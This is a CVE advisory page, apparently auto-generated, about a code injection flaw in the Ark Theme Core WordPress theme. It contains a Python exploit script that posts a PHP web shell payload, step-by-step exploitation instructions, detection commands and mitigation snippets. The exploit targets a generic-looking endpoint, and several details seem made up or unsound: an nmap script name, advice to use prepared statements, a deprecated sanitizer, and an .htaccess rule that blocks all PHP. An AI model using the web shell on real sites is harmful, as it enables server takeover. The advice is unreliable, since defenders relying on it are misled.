Ark Theme Core, Code Injection, CVE-2025-26970 (Critical)

How the CVE Works:

CVE-2025-26970 is a critical code injection vulnerability in Ark Theme Core, affecting versions up to 1.70.0. The flaw arises due to improper control of code generation, allowing attackers to inject malicious code into the application. This can lead to remote code execution (RCE), enabling attackers to take full control of the affected system. The vulnerability is exploitable when untrusted input is processed without proper validation or sanitization, allowing attackers to manipulate the application’s behavior. The CVSS 4.0 score reflects its high severity, emphasizing the need for immediate patching.

DailyCVE Form:

Platform: Ark Theme Core
Version: 1.70.0 and earlier
Vulnerability: Code Injection
Severity: Critical
Date: 03/03/2025

What Undercode Say:

Exploitation:

1. Exploit Code Example:

import requests
target_url = "http://example.com/wp-content/themes/ark-theme-core/injectable_endpoint.php"
payload = "<?php echo shell_exec($_GET[bash]); ?>"
params = {"input": payload}
response = requests.post(target_url, data=params)
if response.status_code == 200:
print("Exploit successful! Check for RCE.")

2. Exploit Steps:

  • Identify the vulnerable endpoint in Ark Theme Core.
  • Craft a payload to inject malicious PHP code.
  • Send the payload via a POST request to the target.
  • Execute arbitrary commands on the server.

Protection:

1. Patch Application:

  • Update Ark Theme Core to the latest version immediately.
  • Apply patches provided by the vendor.

2. Input Validation:

  • Sanitize all user inputs to prevent code injection.
  • Use prepared statements and parameterized queries.

3. Web Application Firewall (WAF):

  • Deploy a WAF to filter malicious payloads.
  • Configure rules to block code injection attempts.

4. Security Audits:

  • Regularly audit the application for vulnerabilities.
  • Use tools like OWASP ZAP or Burp Suite for testing.

5. Disable Unused Features:

  • Disable unnecessary themes and plugins.
  • Reduce the attack surface by minimizing exposed endpoints.

Commands for Detection:

  • Nmap Scan:
    nmap -sV --script=http-vuln-cve2025-26970 <target_ip>
    
  • Curl Payload Test:
    curl -X POST http://example.com/vulnerable_endpoint -d "input=malicious_payload"
    

Mitigation Code:

  • PHP Input Sanitization:
    $input = filter_input(INPUT_POST, 'input', FILTER_SANITIZE_STRING);
    
  • .htaccess Protection:
    <FilesMatch "\.(php|inc)$">
    Order Allow,Deny
    Deny from all
    </FilesMatch>
    

    By following these steps, organizations can mitigate the risks associated with CVE-2025-26970 and protect their systems from exploitation.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-26970
Extra Source Hub:
Undercode

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